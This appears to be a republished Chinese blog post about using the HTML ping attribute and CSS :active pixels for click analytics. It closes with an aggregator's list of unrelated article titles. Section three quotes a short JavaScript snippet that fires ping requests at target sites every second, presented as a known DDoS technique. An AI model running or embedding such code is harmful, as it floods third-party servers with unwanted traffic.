借助HTML ping属性实现数据上报

鑫空间 2021-09-15 04:22:58
html 实现 借助 ping 属性


ping文章封面

一、温故知新之CSS上报

几年前有介绍过使用 CSS 实现数据上报







.button-1:active::after {
content: url(./pixel.gif?action=click&id=button1);
display: none;
}
.button-2:active::after {
content: url(./pixel.gif?action=click&id=button2);
display: none;
}

不过上报地址写在 CSS 中不太好维护,我们可以使用 CSS 变量优化下:







.report:active::after {
content: var(--report);
display: inline-block;
position: absolute;
}

此时,凡事设置了类名 .report 的元素按下的时候都会上报,例如:







<button class="report" style="--report:url(./pixel.gif?action=click&id=button1)">按钮1</button>
<button class="report" style="--report:url(./pixel.gif?action=click&id=button2)" >按钮2</button>

此时点击这两个按钮就可以看到如下所示的请求:

CSS统计点击行为截图

眼见为实,您可以狠狠地点击这里:CSS 变量与 :active 数据上报 demo

然后,最近发现,原来浏览器有个 HTML 属性原生就支持数据上报的。

二、ping 属性与数据上报

对于 <a> 链接元素,存在一个很多人不知道的属性—— ping 属性,只要设置了 ping 属性,用户点击此链接元素的时候,浏览器就会自动发送一个 POST 请求给 ping 属性值地址。

例如,页面中有如下 HTML 代码:







<a href ping="/pixel.gif?action=click&id=link1">链接1</a>
<a href ping="/pixel.gif?action=click&id=link2">链接2</a>

此时,点击“链接1”和“链接2”,浏览器就会给服务器 POST '/pixel.gif...'这个地址。

我专门做了个的demo,您可以狠狠地点击这里:HTML ping 属性与数据上报 demo

打开上述页面的控制台,切换到网络面板,然后点击页面中的两个链接元素(如下图所示):

链接点击截图

此时就可以看到 POST 请求发出了,如下截图所示:

post请求一张图片示意

不过 405 了,因为图片无法接受 POST 请求,被服务器阻止了,实际开发肯定会使用一个专门接受 POST 数据的地址。

虽然请求被阻止,但是请求头信息依然可见,我们看一下:

请求头信息

可以看到 ping 请求的 content-type 是 text/ping,包含了用户的 User-Agent,是否跨域,目标来源地址等信息,非常方便数据收集的时候进行追踪。

ping 属性的优势

使用 ping 属性实现数据上报的优点如下:

  1. 无需 JavaScript 代码参与,网页功能异常也能上报;
  2. 不受浏览器刷新、跳转过关闭影响,也不会阻塞页面后续行为,这一点和 navigator.sendBeacon() 类似,可以保证数据上报的准确性;
  3. 支持跨域;
    
    
    
    
    
    
    <a href="https://www.zhangxinxu.com/"
    ping="https://www.canvasapi.cn/notify.php">点击我</a>
  4. 可上报大量数据,因为是 POST 请求;
  5. 语义明确,使用方便,灵活自主。

ping 属性的劣势

ping 属性的不足也是很明显的。

  • 只能支持点击行为的上报,如果是进入视区,或弹框显示的上报,需要额外触发下元素的 click() 行为;
  • 只能支持 <a> 元素,在其他元素上设置 ping 属性没有作用,这就限制了其使用范围,因为很多开发喜欢 div 一把梭。
  • 只能是 POST 请求,目前主流的数据统计还是日志中的 GET 请求,不能复用现有的基建。
  • 出生不好,身为 HTML 属性,天然受某些开发者无视与不屑。
  • 适合在移动端项目使用,PC端需要酌情使用(不需要考虑上报总量的情况下),因为目前 IE 和 Firefox 浏览器都不支持(或没有默认开启支持)。

    ping 属性的兼容性

三、Ping 属性与 DDoS 攻击

既然点击链接的同时会发送一个 POST 请求,那么 ping 属性可以做的事情肯定不仅仅是上报。

其实,从数年前开始就有人利用 ping 属性发起 DDoS 攻击,这篇文章有介绍。

攻击代码如下:







var arr = ['https://www.exampe1.com', 'https://www.exampe2.com', 'https://www.exampe3.com'];
function yzk( ){
var indexarr = Math.floor((Math.random( )*arr.length));
document.writeln("<script>var link = document.createElement(\'a\');link.href=\'\';link.ping=\'"+
arr[indexarr] +
"\';document.head.appendChild(link); link.click();</script>");
}
if(arr.length>0){
var ytimename = setlnterval("yzk()", 1000);
}

创建一个 <a> 元素,设置 ping 地址,触发此链接元素的 click() 事件,此时就可以对目标服务器发动请求攻击了,不停地定时请求攻击。

例如,很多网站会使用开源的第三方 CDN 服务,要是哪天这些第三方的 JS 里面搞点什么,弄个 DDoS 攻击什么的,那是很Easy的,且威力会非常惊人。

四、评价一下

ping 属性上报尤其独到之处,可以用到需要精确知道数据,但是不需要那么广泛或大规模的场景。

例如 AB 测试就非常合适。

同样两个广告图,各自 50% 显示,分别预埋 ping 属性,然后处理 POST 请求,就能快速知道哪个广告图的点击效果好了,不需要经过大数据,前端自己就能搞定这个事情,比较容易出绩效。

相当于一个低成本的杠杆,由于成本低,日后调转船头也会非常方便。

如果是复杂的大规模的系统上报,则 ping 属性方法并不合适,还是使用传统的 JavaScript 发送请求的方式吧。

好,以上就是本文的内容。

其他

昨晚花了几个小时把代码显示美化了下,如果有人喜欢传统的有的放矢的高亮,可以点击右上角按钮进行还原,同时增加了一键复制代码的功能。

还有人反馈我的网站丑,丑吗?我问了下家里的领导,领导呵呵笑了笑,欲言又止。

行,我懂了!

有没有谁有兴趣在不大改的前提下提升下站点的视觉体验的,最好出个figma视觉稿,意见采纳者我会送一本签名版的《CSS新世界》,价值128元。

你在哪里?

(本篇完)

版权声明
本文为[鑫空间]所创,转载请带上原文链接,感谢
https://www.zhangxinxu.com/wordpress/2021/09/html-ping/

  1. Front and back end data interaction (V) -- what is Axios?
  2. Windows configures nginx to boot automatically
  3. Des questions d'entrevue communes à Tomcat pour discuter de votre compréhension de la technologie de verrouillage distribué,
  4. JS handscrap, Classic interview question, web front end Development Process
  5. Android 400 questions d'entrevue pour vous aider à entrer dans l'usine, un tour pour vous apprendre à comprendre netty
  6. Développement et projet d'application Web statique côté PC
  7. Recommandé pour le tutoriel Spring Framework, 2021 dernière question d'entrevue d'embauche de la société aiqiyi Java,
  8. La dernière revue scientifique de l'académicien Luo Liqun: architecture de la boucle neuronale pour stimuler la nouvelle Ia
  9. [partage d'expérience de travail], 2021 les dernières questions d'entrevue Java de Baidu, Headlines, etc.
  10. Lisez l'analyse de 497 questions pour l'entrevue d'ingénieur principal Android et vérifiez les lacunes.
  11. Grâce à cette collection de questions d'entrevue d'automne, le salaire de saut d'emploi et l'entrevue de développement audio et vidéo ont doublé.
  12. Prenez d'un coup l'offre de Tencent meituan et jetez un coup d'oeil à cette copie de l'entrevue de printemps!
  13. L'expérience et l'expérience d'un Maverick Java en matière d'entrevue sur les MTD, l'expérience de l'entrevue d'embauche du printemps Java en 2021,
  14. Vue中自定义列表复选框和全选框-案例
  15. Vue bidirectional binding (V-model bidirectional binding,. Sync bidirectional binding,. Sync transfer object)
  16. CSS text overflow ellipsis summary, as you wish
  17. C'est la mode la plus étrange que j'ai jamais vue.
  18. Cases à cocher et toutes les cases à cocher de la liste personnalisée en vue - CAS
  19. Vue bidirectional binding (V-model bidirectional binding,. Sync bidirectional binding,. Sync transfer object)
  20. Vue3.0 using Gaode map to obtain longitude and latitude information
  21. Front end interview daily 3 + 1 - day 877
  22. Vue bidirectional binding (V-model bidirectional binding,. Sync bidirectional binding,. Sync transfer object)
  23. React realizes the function of copying pictures with one click
  24. White space, word break and word wrap are the three most basic and confusing attributes in CSS - thoroughly understand
  25. Trois ans d'expérience d'entrevue avec une femme de programmation diplômée, une réflexion sur la cohérence de l'expiration des données de redis Master slave Node,
  26. Résumé de l'entrevue Android de Dachang, carte technique Android
  27. Un plan de carrière Java correct, découvrez les questions que vous devez poser lors de l'entrevue d'embauche du printemps Java de cette année.
  28. Le résumé de l'entrevue Android de Dachang est en retard
  29. Un article vous a appris à gérer les entrevues sur le Web, à partager 350 vraies questions d'entrevue Java,
  30. Jquery Tools Methodology collation, Sharing a little interview Experience
  31. Jquery plug - in urianchor, app front end Development
  32. $in jquery, Visualized Web Development Tool
  33. Le développement Java doit être fait. Les entrevues https demandent souvent une analyse complète.
  34. vue v-if未生效问题
  35. vue动态改变组件外部元素样式
  36. Jdk's Past Life: The Classic Features of Thin Number - java5 - - - 15 -, webfront Development
  37. Résumé des questions d'entrevue pour les ingénieurs en développement Java, analyse des questions d'entrevue à haute fréquence Dubbo,
  38. The new front-end lady asked: there was a 404 problem refreshing the page in Vue routing history mode
  39. A Simple Css Meun
  40. Vue modifier dynamiquement le style de l'élément externe du composant
  41. Vue V - si problème non valable
  42. N'osez pas vous opposer à l'intervieweur et obtenir des commentaires personnels des stagiaires d'offer Ali après cinq rondes d'entrevue.
  43. Améliorer continuellement leur capacité à créer des primes, et les questions d'entrevue Java d'Alibaba Huawei Tencent et d'autres grandes usines sont sautées en octets.
  44. The new front-end lady asked: there was a 404 problem refreshing the page in Vue routing history mode
  45. Who doesn't want to make a scratch music by himself? Scratch music is realized by native JS
  46. Learn XPath to help climb the data of major e-commerce platforms in the Mid Autumn Festival
  47. vue動態改變組件外部元素樣式
  48. vue v-if未生效問題
  49. Je ne comprends pas comment la machine virtuelle JVM peut encore interviewer, et j'ai terminé ce dictionnaire d'entrevue Java de 1307 pages.
  50. Dongxh, mid autumn festival gifts 🥮, [CSS starry sky realization, Mid Autumn Festival poem]
  51. What if you want to see the moon and don't want to go out
  52. Mid Autumn Festival, Chang'e looks at the moon
  53. [Pixi] super beautiful! How to make mid autumn festival scene level animation!!
  54. Echarts realizes the rotation of the moon (super simple, you can see it at a glance)
  55. Dart mixin full resolution
  56. Some suggestions on Vue code readability | comments are rewarded
  57. 120 lines of code to achieve pure web video editing
  58. Yang yangsun took a selfie to celebrate his 30th birthday, and Wang Yanlin sent blessings.
  59. Comment passer une entrevue avec une entreprise Internet de première ligne, Android Classic Getting started tutoriel
  60. Comment essayer un développeur Android vraiment niveau, 【 résumé de l'entrevue 】